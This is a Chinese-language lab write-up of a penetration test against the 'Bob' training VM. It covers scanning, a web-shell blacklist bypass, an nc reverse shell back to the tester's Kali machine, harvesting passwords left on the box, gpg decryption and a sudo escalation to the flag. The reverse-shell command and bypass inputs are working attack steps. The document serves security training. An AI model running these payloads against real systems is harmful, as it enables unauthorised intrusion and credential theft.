TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 448 bytes 36416 (35.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 448 bytes 36416 (35.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

192.168.233.135kali IP段

nmap -sP 192.168.233.0/24

查看kali本机IP
全面探测端口并将结果导出至nmap.A,全面扫描是因为有些服务会被改端口号,而我们会用到这些端口号,可以看到ssh端口被改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.233.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-04 10:53 CST
Nmap scan report for 192.168.233.1
Host is up (0.00021s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.233.2
Host is up (0.00011s latency).
MAC Address: 00:50:56:EA:3E:CA (VMware)
Nmap scan report for 192.168.233.138
Host is up (0.000075s latency).
MAC Address: 00:0C:29:E8:1C:09 (VMware)
Nmap scan report for 192.168.233.254
Host is up (0.00037s latency).
MAC Address: 00:50:56:F7:F3:DD (VMware)
Nmap scan report for 192.168.233.135
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.10 seconds

bob地址

192.168.233.138

nmap -A 192.168.233.138 -p- -oN nmap192.168.233.138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿kali)-[~]
└─# nmap -A 192.168.233.138 -p- -oN nmap192.168.233.138
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-04 10:58 CST
Nmap scan report for 192.168.233.138
Host is up (0.0013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_/passwords.html
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA)
| 256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA)
|_ 256 391656fb4e0f508540d3532241433815 (ED25519)
MAC Address: 00:0C:29:E8:1C:09 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.30 ms 192.168.233.138

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds

收集到靶机开启了http和ssh服务及其对应的端口号和版本。

192.168.233.138

经验:多点点多看看,挖掘有用信息,通过浏览网站页面,我们推测Bob J可能是管理员。

使用nikto工具扫描网站后台信息,其中Robots.txt代表反爬虫机制。

1
nikto -h http://192.168.233.138
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kali)-[~]
└─# nikto -h http://192.168.233.138
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.233.138
+ Target Hostname: 192.168.233.138
+ Target Port: 80
+ Start Time: 2024-01-04 11:16:47 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/dev_shell.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/lat_memo.html' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/passwords.html' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 591, size: 5669af30ee8f1, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .

这是一次使用Nikto工具对名为”Bob”的靶机(IP地址192.168.233.138)进行的网络安全扫描报告。Nikto是一种流行的开源网络安全扫描工具,用于检测网站的潜在漏洞。以下是对扫描结果的解释和分析:

  1. 目标信息:

    • IP地址: 192.168.233.138
    • 主机名: 192.168.233.138
    • 目标端口: 80(通常用于HTTP服务)
    • 扫描时间: 2024年1月4日 11:16:47(GMT+8)
  2. 发现的问题和潜在漏洞:

    • Web服务器版本: 使用的是Apache/2.4.25 (Debian),该版本可能已过时,因为最新的Apache版本至少是2.4.54。使用过时的软件版本可能会暴露已知的安全漏洞。
    • X-Frame-Options未设置: 此HTTP响应头用于防止点击劫持攻击。未设置此头可能使网站容易受到此类攻击。
    • 缺少X-Content-Type-Options: 未设置此头可能允许浏览器以与MIME类型不同的方式解释网站内容,可能导致安全问题。
    • robots.txt文件的内容: 发现’/dev_shell.php’、’/lat_memo.html’和’/passwords.html’路径在robots.txt文件中,但可以访问。这可能意味着这些路径包含敏感信息或功能,但未被适当保护。
    • ETags信息泄露: 服务器配置可能会泄漏inode信息,这可以被用来执行一些特定的攻击,如inode枚举。
    • 允许的HTTP方法: 发现服务器允许OPTIONS, HEAD, GET, POST方法。额外的方法,特别是OPTIONS,可能会暴露过多的信息给潜在的攻击者。
  3. 攻击和防御策略:

    • 更新Apache服务器: 应该更新到最新版本以修复已知的安全漏洞。
    • 配置安全HTTP头: 应设置X-Frame-Options和X-Content-Type-Options头以增强安全性。
    • 审核robots.txt文件: 检查robots.txt文件中提到的路径,确保不会公开敏感信息或功能。
    • 限制HTTP方法: 考虑限制服务器上允许的HTTP方法,只允许必要的方法。
1
dirb http://192.168.233.138
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
                                                                                                
┌──(root㉿kali)-[~]
└─# dirb http://192.168.233.138

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Jan 4 11:37:11 2024
URL_BASE: http://192.168.233.138/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.233.138/ ----
+ http://192.168.233.138/index.html (CODE:200|SIZE:1425)
+ http://192.168.233.138/robots.txt (CODE:200|SIZE:111)
+ http://192.168.233.138/server-status (CODE:403|SIZE:303)

-----------------
END_TIME: Thu Jan 4 11:37:14 2024
DOWNLOADED: 4612 - FOUND: 3
1
2
3
4
5
User-agent: *
Disallow: /login.php
Disallow: /dev_shell.php
Disallow: /lat_memo.html
Disallow: /passwords.html
1
2
Really who made this file at least get a hash of your password to display, hackers can't do anything with a hash, this is probably why we had a security breach in the first place. Comeon people this is basic 101 security! I have moved the file off the server. Don't make me have to clean up the mess everytime someone does something as stupid as this. We will have a meeting about this and other stuff I found on the server. >:(
-Bob
1
2
3
4
Memo sent at GMT+10:00 2:37:42 by User: Bob
Hey guys IT here don't forget to check your emails regarding the recent security breach. There is a web shell running on the server with no protection but it should be safe as I have ported over the filter from the old windows server to our new linux one. Your email will have the link to the shell.

-Bob

uname -a

Output:

Linux Milburg-High 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux

BP爬虫:浏览网页文件,在dev.shell.php中发现有些命令无法使用,因此推测网站存在过滤机制,可能存在白名单。这时候需要用到抓包神器BP:burpsuite,通过抓包搜集有用信息。

burpsuite

首先需要将本地端口号修改为其他服务不用的端口号,然后把网站流量引流到127.0.0.1的8888端口,需要安装插件foxyproxy,同时新增一项BP并开启foxyproxy。

在dev.shell.php页面输入ls(之前不让访问的命令),然后在BP中抓包,将抓到的包send to Repeater模块(重放模块),然后点击intercept is on,即关闭拦截抓包,这样dev.shell.php页面就能接收到先前输入的ls,对方网页也就不会发现异常了。之后点击repeater模块的send按钮,得到response。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /dev_shell.php HTTP/1.1

Host: 192.168.233.138

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

Origin: http://192.168.233.138

Connection: close

Referer: http://192.168.233.138/dev_shell.php

Upgrade-Insecure-Requests: 1



in_command=ls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
HTTP/1.1 200 OK

Date: Thu, 04 Jan 2024 06:26:16 GMT

Server: Apache/2.4.25 (Debian)

Vary: Accept-Encoding

Content-Length: 675

Connection: close

Content-Type: text/html; charset=UTF-8



<html>
<body>
<style>
#back{
position: fixed;
top: 0;
left: 0;
min-width: 100%;
min-height: 100%;
z-index:-10
}
#shell{
color: white;
text-align: center;
}
</style>
<!-- WIP, don't forget to report any bugs we don't want another breach guys
-Bob -->
<div id="shell">
<h2>
dev_shell
</h2>
<form action="dev_shell.php" method="post">
Command: <input type="text" name="in_command" /> <br>
<input type="submit" value="submit">
</form>
<br>
<h5>Output:</h5>
Get out skid lol
</div>
<img src="dev_shell_back.png" id="back" alt="">
</body>
</html>

尝试绕过网站安全机制,猜测网站使用了命令拦截,可以在response中看到黑名单(会拦截的命令)。ls在根下的bin目录中,因此尝试将in_command即输入的命令更改为/bin/ls(通过篡改命令潜入对方网站),此时可以看到web根目录下所有的网页内容,基于此,我们搜集有用内容(php页面包含信息更多,.bak后缀通常为备份文件)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /dev_shell.php HTTP/1.1

Host: 192.168.233.138

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 18

Origin: http://192.168.233.138

Connection: close

Referer: http://192.168.233.138/dev_shell.php

Upgrade-Insecure-Requests: 1



in_command=/bin/ls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
HTTP/1.1 200 OK

Date: Thu, 04 Jan 2024 06:35:48 GMT

Server: Apache/2.4.25 (Debian)

Vary: Accept-Encoding

Content-Length: 845

Connection: close

Content-Type: text/html; charset=UTF-8



<html>
<body>
<style>
#back{
position: fixed;
top: 0;
left: 0;
min-width: 100%;
min-height: 100%;
z-index:-10
}
#shell{
color: white;
text-align: center;
}
</style>
<!-- WIP, don't forget to report any bugs we don't want another breach guys
-Bob -->
<div id="shell">
<h2>
dev_shell
</h2>
<form action="dev_shell.php" method="post">
Command: <input type="text" name="in_command" /> <br>
<input type="submit" value="submit">
</form>
<br>
<h5>Output:</h5>
WIP.jpg
about.html
contact.html
dev_shell.php
dev_shell.php.bak
dev_shell_back.png
index.html
index.html.bak
lat_memo.html
login.html
news.html
passwords.html
robots.txt
school_badge.png
</div>
<img src="dev_shell_back.png" id="back" alt="">
</body>
</html>

下载bak文件并查看vim dev_shell.php.bak

dev_shell.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<html>
<body>
<?php
//init
$invalid = 0;
$command = ($_POST['in_command']);
$bad_words = array("pwd", "ls", "netcat", "ssh", "wget", "ping", "traceroute", "cat", "nc");
?>
<style>
#back{
position: fixed;
top: 0;
left: 0;
min-width: 100%;
min-height: 100%;
z-index:-10
}
#shell{
color: white;
text-align: center;
}
</style>
<div id="shell">
<h2>
dev_shell
</h2>
<form action="dev_shell.php" method="post">
Command: <input type="text" name="in_command" /> <br>
<input type="submit" value="submit">
</form>
<br>
<h5>Output:</h5>
<?php
system("running command...");
//executes system Command
//checks for sneaky ;
if (strpos($command, ';') !==false){
system("echo Nice try skid, but you will never get through this bulletproof php code"); //doesn't work :P
}
else{
$is_he_a_bad_man = explode(' ', trim($command));
//checks for dangerous commands
if (in_array($is_he_a_bad_man[0], $bad_words)){
system("echo Get out skid lol");
}
else{
system($_POST['in_command']);
}
}
?>
</div>
<img src="dev_shell_back.png" id="back" alt="">
</body>
</html>

代码审计:根据代码审计发现黑名单,发现nc被过滤了,可以尝试绕过黑名单

反弹shell:之前网站页面内容中有透露网页存在shell且做了加固。因此我们需要提升权限,使用工具nc反弹shell,在抓包工具BP页面将输入更改为/bin/nc -e /bin/bash 192.168.244.132 8888,该IP为Kali的IP,因为我们需要让网页向Kali发送response,send一下,在命令行中查收结果,此时反弹shell成功,可以查看ls等黑名单中的命令。使用命令id可以看到我们拿到了用户www-data的shell。

1
2
3
nc -lvvp 7777

in_command=/bin/nc -e /bin/bash 192.168.233.135 7777
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kali)-[~]
└─# nc -lvvp 7777
listening on [any] 7777 ...
192.168.233.138: inverse host lookup failed: Unknown host
connect to [192.168.233.135] from (UNKNOWN) [192.168.233.138] 50180
ls
WIP.jpg
about.html
contact.html
dev_shell.php
dev_shell.php.bak
dev_shell_back.png
index.html
index.html.bak
lat_memo.html
login.html
news.html
passwords.html
robots.txt
school_badge.png
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),100(users)

进入交互式shell:使用Python的模块调用bash,前提是目标靶机有Python

1
python -c "import pty;pty.spawn('/bin/bash')"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cd/
bash: cd/: No such file or directory
www-data@Milburg-High:/var/www/html$ ls
ls
WIP.jpg dev_shell.php.bak lat_memo.html robots.txt
about.html dev_shell_back.png login.html school_badge.png
contact.html index.html news.html
dev_shell.php index.html.bak passwords.html
www-data@Milburg-High:/var/www/html$ cat flag.txt
cat flag.txt
cat: flag.txt: No such file or directory
www-data@Milburg-High:/var/www/html$ cd ../../
cd ../../
www-data@Milburg-High:/var$ cd ../
cd ../
www-data@Milburg-High:/$ ls -a
ls -a
. boot flag.txt initrd.img.old lost+found opt run sys var
.. dev home lib media proc sbin tmp vmlinuz
bin etc initrd.img lib64 mnt root srv usr vmlinuz.old
www-data@Milburg-High:/$ cat flag.txt
cat flag.txt
cat: flag.txt: Permission denied

浏览根目录文件找到flag.txt,flag.txt只有管理员有读写权限,so我们需要拿到管理员权限。在etc目录下发现了文件passwd,查看该文件,文件中包含用户名信息,其中就有Bob用户,通过网站页面信息了解到Bob可能是管理员。因此紧接着浏览bob的家目录,发现隐藏敏感文件.old_passwordfile.html,查看该文件发现了jcseb的账号密码。

1
2
3
4
5
6
7
8
9
10
11
www-data@Milburg-High:/home/bob$ cat .old_passwordfile.html
cat .old_passwordfile.html
<html>

<p>
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
</p>

</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
jc@Milburg-High:/home/bob$ cd /home/bob/
cd /home/bob/
jc@Milburg-High:/home/bob$ ls -l
ls -l
total 32
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Desktop
drwxr-xr-x 3 bob bob 4096 Mar 5 2018 Documents
drwxr-xr-x 3 bob bob 4096 Mar 8 2018 Downloads
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Music
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Pictures
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Public
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Templates
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Videos
jc@Milburg-High:/home/bob$ cd Documents
cd Documents
jc@Milburg-High:/home/bob/Documents$ ls
ls
login.txt.gpg Secret staff.txt
jc@Milburg-High:/home/bob/Documents$ cat login.txt.gpg
cat login.txt.gpg
o��J[V0w�q�OS����@P�i4��u
E,����8=kj�Z����9`�5G��4��!�����!�����Q:�1���Q�jc@Milburg-High:/home/bob/Documents$

解密gpg文件
登上jc账号,浏览其家目录,没找到有用信息,保持旺盛的好奇心,浏览对方所有文件,搜集有用信息,最终我们在Bob家目录的documents中找到了文件login.txt.gpggpglinux的加密格式),需要将该文件解密后查看。
解密gpg文件:查看Bob家目录的documents中的Secret文件夹,发现了文件notes.shsh后缀为linux下的shell脚本文件)查看该内容后开始猜测其含义,最终确定这是藏头诗,找到了密钥(HARPOCRATES),破解文件login.txt.gpg,并查看该文件内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ ls
ls
notes.sh
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ ./notes.sh
./notes.sh
TERM environment variable not set.
-= Notes =-
Harry Potter is my faviorite
Are you the real me?
Right, I'm ordering pizza this is going nowhere
People just don't get me
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>
Cucumber
Rest now your eyes are sleepy
Are you gonna stop reading this yet?
Time to fix the server
Everyone is annoying
Sticky notes gotta buy em
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$
1
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
1
2
3
4
5
6
7
jc@Milburg-High:/home/bob/Documents$ gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
<g --batch --passphrase HARPOCRATES -d login.txt.gpg
gpg: keybox '/home/jc/.gnupg/pubring.kbx' created
gpg: AES encrypted data
gpg: encrypted with 1 passphrase
bob:b0bcat_
jc@Milburg-High:/home/bob/Documents$
1
2
3
bob@Milburg-High:~/Documents$ id
id
uid=1001(bob) gid=1001(bob) groups=1001(bob),27(sudo)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sudo cat /flag.txt
[sudo] password for bob: b0bcat_

CONGRATS ON GAINING ROOT

.-.
( )
|~| _.--._
|~|~:'--~' |
| | : #root |
| | : _.--._|
|~|~`'--~'
| |
| |
| |
| |
| |
| |
| |
| |
| |

_____|_|_________ Thanks for playing ~c0rruptedb1t

三、总结

通过本次实训,我们全面了解了渗透测试的基本流程和操作方法。从初步的信息收集到最终获取目标主机的控制权,每一步都是为了更深入地理解目标系统的安全漏洞。通过这次实验,不仅加深了对理论知识的理解,还提高了实际操作能力。实训中使用的工具和技术,如Nmap、Nikto、Burp Suite等,是网络安全领域的基石,掌握这些工具对于未来的安全研究和职业生涯至关重要。

此外,实训也强调了进行渗透测试时的道德和法律责任。所有测试活动都应在合法和道德的范围内进行。总之,本次实训不仅提高了技术技能,也增进了对网络安全重要性的认识。